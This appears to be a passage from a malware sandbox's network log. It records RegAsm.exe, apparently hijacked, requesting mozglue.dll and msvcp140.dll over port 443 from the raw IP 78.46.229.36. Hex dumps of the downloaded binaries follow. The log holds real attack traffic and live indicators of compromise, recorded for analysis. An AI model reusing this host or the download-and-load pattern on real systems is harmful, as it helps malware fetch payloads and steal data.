2024-03-28 07:36:07 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-03-28 07:36:07 UTC	16384	IN	Data Raw: 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 01 89 5d 9c 8b 45 b8 03 85 30 ff ff ff 8b Data Ascii: }1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x]E0
2024-03-28 07:36:07 UTC	16384	IN	Data Raw: 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 07 00 83 c4 04 89 45 e8 ff 77 1c e8 42 90 Data Ascii: M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wPEwB
2024-03-28 07:36:07 UTC	16384	IN	Data Raw: 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f a3 d6 73 3b 8b 75 18 83 fe 02 73 33 8b 7d Data Ascii: 0C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwEs;us3}
2024-03-28 07:36:07 UTC	16384	IN	Data Raw: 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 cb 89 4d f0 8d 14 3e 81 c2 31 23 43 e4 0f Data Ascii: ^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?UuM>1#C
2024-03-28 07:36:08 UTC	16384	IN	Data Raw: 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 00 77 12 31 c0 81 f9 00 01 00 00 0f 93 c0 Data Ascii: }EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w w1
2024-03-28 07:36:08 UTC	16384	IN	Data Raw: 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 85 7c ff ff ff 00 00 00 00 c7 85 6c ff ff Data Ascii: $`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE\|l
2024-03-28 07:36:08 UTC	16384	IN	Data Raw: 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 f7 65 f0 89 95 28 ff ff ff 89 85 30 ff ff Data Ascii: eLXee0@eeeue0UEeeUeee $e(0
2024-03-28 07:36:08 UTC	16384	IN	Data Raw: 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 ff 8d 1c 18 89 7d e4 83 d3 00 0f 92 45 8c Data Ascii: MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE}E
2024-03-28 07:36:08 UTC	16384	IN	Data Raw: ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 28 ff ff ff 8b b5 04 ff ff ff 81 e6 ff ff Data Ascii: 0<48%8A)$(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49724	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:08 UTC	205	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Cache-Control: no-cache
2024-03-28 07:36:09 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:09 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-94750" Accept-Ranges: bytes
2024-03-28 07:36:09 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-03-28 07:36:09 UTC	16384	IN	Data Raw: ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 4c 00 00 00 00 c7 46 50 0f 00 00 00 c6 46 Data Ascii: A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPFLFPF
2024-03-28 07:36:09 UTC	16384	IN	Data Raw: 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff ff 56 e8 de bc ff ff 89 f1 89 fa e8 d5 f1 Data Ascii: PzEPWxP1`PHP$,FM1R'^_[]00L9tc<V
2024-03-28 07:36:09 UTC	16384	IN	Data Raw: 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 eb 51 89 f0 f7 e1 89 d1 c1 e9 05 89 c8 ba Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}LQ
2024-03-28 07:36:09 UTC	16384	IN	Data Raw: 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b 45 ec 89 46 08 e9 8b fe ff ff 68 a7 fa 07 Data Ascii: 1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSREEFh
2024-03-28 07:36:09 UTC	16384	IN	Data Raw: 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 Data Ascii: H) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) sUSWV
2024-03-28 07:36:10 UTC	16384	IN	Data Raw: 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 08 8b 7c 24 08 0f 83 b0 03 00 00 85 db 0f Data Ascii: D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4\|$
2024-03-28 07:36:10 UTC	16384	IN	Data Raw: 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 7c 24 08 8b 4b 08 89 0c 24 89 53 04 0f a4 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$\|$K$S
2024-03-28 07:36:10 UTC	16384	IN	Data Raw: 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 e2 fe 83 e1 01 09 d1 89 4e 04 89 30 8b 4b Data Ascii: XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKNN0K
2024-03-28 07:36:10 UTC	16384	IN	Data Raw: c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 0f 84 c2 09 00 00 80 60 04 fe 8b 4c 24 0c Data Ascii: rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H`L$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49725	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:10 UTC	206	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Cache-Control: no-cache
2024-03-28 07:36:11 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:11 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-6dde8" Accept-Ranges: bytes
2024-03-28 07:36:11 UTC	16138	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 